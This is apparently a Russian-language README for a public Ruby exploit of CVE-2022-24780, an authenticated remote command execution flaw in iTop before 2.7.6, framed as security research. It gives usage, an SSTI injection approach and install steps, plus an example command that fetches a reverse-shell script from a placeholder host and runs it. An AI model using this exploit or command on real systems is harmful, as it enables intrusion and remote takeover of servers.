
iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд
iTop < 2.7.6 - (Аутентифицированное) удаленное выполнение команд
Эксплойт для [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
Полный вариант эксплойта использует Watir с веб-браузером, управляемым Selenium, для эмуляции действий пользователя. Это необходимо для сохранения информации пользователя. Эксплойт внедряет полезную нагрузку SSTI в подчасть формы, используемой для изменения информации пользователя в профиле портала. В то время как некоторые значения могут быть жестко заданы или получены из HTML, другие (телефон, местоположение, должность) загружаются динамически через JavaScript и вставляются в HTML. Чтобы эксплойт не был разрушительным, необходимо выполнить JavaScript для получения этих значений.
Легкий вариант эксплойта не так заботится об этом и просто разрушительно устанавливает нулевые значения для некоторых полей информации пользователя (телефон, местоположение, должность). Однако этот вариант выполняется быстрее, требует меньше зависимостей, не выполняет JavaScript и не нуждается в X-окружении (Watir требуется для работы веб-браузера).
Кратко: установите всё bundle install
Полный вариант
Пример с использованием gem:
gem install httpx docopt watir webdrivers
Легкий вариант
Пример с использованием gem:
gem install httpx docopt nokogiri
Не рекомендуется использовать полезные нагрузки с двойными кавычками (") или обратной косой чертой (\), так как полезная нагрузка внедряется в JSON.
Предупреждение: этот контейнер не подходит для использования в production!
Используя vbkunin/itop:2.7.4 - исходник - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
Уязвимость была найдена Markus KRELL.
Анализ уязвимости от первооткрывателя:
ACCEIS не пропагандирует и не поощряет незаконную деятельность, весь контент, предоставленный в этом репозитории, предназначен только для исследовательских, образовательных целей и целей обнаружения угроз.
Как аудитор безопасности (или любая другая роль белого хакера), с одной стороны, вы хотите запустить скрипт эксплойта, чтобы проверить практическую эксплуатируемость теоретической уязвимости на основе номера версии приложения, которое вы определили, но с другой стороны, вы хотите, чтобы это было сделано правильно, без разрушительных действий, чтобы приложение клиента осталось в том же состоянии, в котором вы его впервые обнаружили.
Например, этот эксплойт срабатывает на странице профиля пользователя, поэтому есть форма с уже заполненной информацией о пользователе: имя, фамилия, ID организации, email, телефон, ID местоположения, должность, ID менеджера. Для атаки достаточно переопределить уязвимые поля и заполнить другие нулевыми или случайными значениями, если они обязательны. Именно это и делает легкий вариант эксплойта. Но при этом вы уничтожите актуальную информацию этого пользователя; это не проблема в тестовой среде, но является реальной проблемой, если вы находитесь в производственной среде. Черный хакер не будет об этом беспокоиться, но как белый хакер мы должны сохранить данные. Поэтому решение — получить фактические данные и повторно использовать их в нашем POST-запросе.
В классических веб-приложениях часто достаточно напрямую сформировать POST-запрос с правильными параметрами, направленный на уязвимую конечную точку. Иногда нужно обрабатывать сессии/куки, перенаправления, некоторые предыдущие состояния, которые могут потребоваться, получение какого-либо ID или anti-CSRF токенов, но все это остается довольно простым и может быть выполнено практически любой HTTP-библиотекой на любом языке.
Чтобы получить фактические данные, когда данные в форме поступают:
В некоторых современных веб-приложениях это становится немного сложнее, когда многие значения задаются с помощью сложных манипуляций JavaScript. Здесь вы не можете просто разобрать HTML или запросить REST API, вы не можете ни извлечь значение напрямую из JavaScript-файла, ни разобрать несколько строк и пересчитать значение. Когда вычисления JS настолько сложны, происходят во многих разных JS-файлах или исходный код JavaScript обфусцирован или упакован, потребуется слишком много усилий и времени, чтобы обратить инжиниринг механизма и извлечь значение. В этом случае вам фактически нужно взаимодействовать с JavaScript из приложения. Но классический скрипт эксплойта, требующий только HTTP-библиотеку, не может сделать это (в одиночку)!